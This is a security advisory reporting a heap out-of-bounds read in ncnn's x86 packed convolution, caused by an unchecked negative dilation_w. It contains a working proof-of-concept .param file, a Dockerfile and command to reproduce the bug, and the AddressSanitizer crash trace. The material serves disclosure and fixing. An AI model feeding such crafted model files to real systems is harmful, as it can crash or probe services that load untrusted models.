Negative Dilation Enables X86 Heap Out-Of-Bounds Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_packed.h:1400 in convolution_packed
Sanitizer verdict: heap-buffer-overflow
Summary
Convolution::load_param accepts any integer for dilation_w, and the x86 packed convolution turns it directly into an element offset table. A model with dilation_w=-1 produces negative entries in space_ofs, so the kernel loop indexes r0[sok] in front of the input tensor and the process crashes. The entry point is ncnnoptimize, which reaches the vulnerable code while running shape inference over the attacker-supplied .param/.bin pair.
Detail
The untrusted field is param key 2 of the Convolution layer (dilation_w), preserved unchecked by Convolution::load_param (dilation_w = pd.get(2, 1);). convolution_packed builds the per-tap offset table by accumulating dilation_w into p2, then uses those offsets as unbounded indices into the input row:
// src/layer/x86/convolution_packed.h:1082
{
int p1 = 0;
int p2 = 0;
int gap = w * dilation_h - kernel_w * dilation_w;
for (int i = 0; i < kernel_h; i++)
{
for (int j = 0; j < kernel_w; j++)
{
space_ofs[p1] = p2 * elempack;
p1++;
p2 += dilation_w;
}
p2 += gap;
}
}
// src/layer/x86/convolution_packed.h:1387
for (int k = 0; k < maxk; k++)
{
const int sok = space_ofs[k];
...
_sum0 = _mm512_fmadd_ps(_w0, _mm512_set1_ps(r0[sok]), _sum0);
The PoC feeds a 4x4x9 FP32 input to a 2x2 convolution with num_output=16, dilation_w=-1, dilation_h=1, stride=1 and no padding. Because the input has 9 channels, elempack is 1 and the if (elempack == 1) branch at line 1385 is taken. The offset table is built as p2 = 0, -1, then gap = w * dilation_h - kernel_w * dilation_w = 4 - (2 * -1) = 6 bumps p2 to 4 for the second kernel row, yielding space_ofs = {0, -1, 4, 3}.
The negative extent also inflates the output geometry — kernel_extent_w = dilation_w * (kernel_w - 1) + 1 = 0, so outw = (4 - 0) / 1 + 1 = 5 — but the read fails before that matters. On the very first output pixel, r0 sits at the start of the input allocation and tap k = 1 evaluates r0[-1], four bytes in front of the 644-byte input region. ASan reports the 4-byte read at that address and aborts ncnnoptimize.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-negative-dilation-enables-x86-heap-out-of-bounds-read && cd ncnn-poc-negative-dilation-enables-x86-heap-out-of-bounds-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=4 1=4 2=9
Convolution conv 1 1 data out 0=16 1=2 2=-1 6=576 11=2
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51700000007c at pc 0x5bc6da7f95a7 bp 0x7ffc00d58730 sp 0x7ffc00d58720
READ of size 4 at 0x51700000007c thread T0
#0 0x5bc6da7f95a6 in convolution_packed /ncnn/src/layer/x86/convolution_packed.h:1400
#1 0x5bc6dafac392 in ncnn::Convolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:850
#2 0x5bc6da171f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x5bc6da163b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x5bc6da1c39e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x5bc6da0553c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x5bc6da0d2eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x79d5625e61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x79d5625e628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x5bc6da052624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x51700000007c is located 4 bytes before 644-byte region [0x517000000080,0x517000000304)
allocated by thread T0 here:
#0 0x79d562c5ff1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5bc6da12392d in fastMalloc /ncnn/src/allocator.h:62
#2 0x5bc6da12392d in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:415
#3 0x5bc6da053ca0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:390
#4 0x5bc6da0d2eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#5 0x79d5625e61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x79d5625e628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x5bc6da052624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/x86/convolution_packed.h:1400 in convolution_packed
Credit
Zheng Yu @ DepthFirst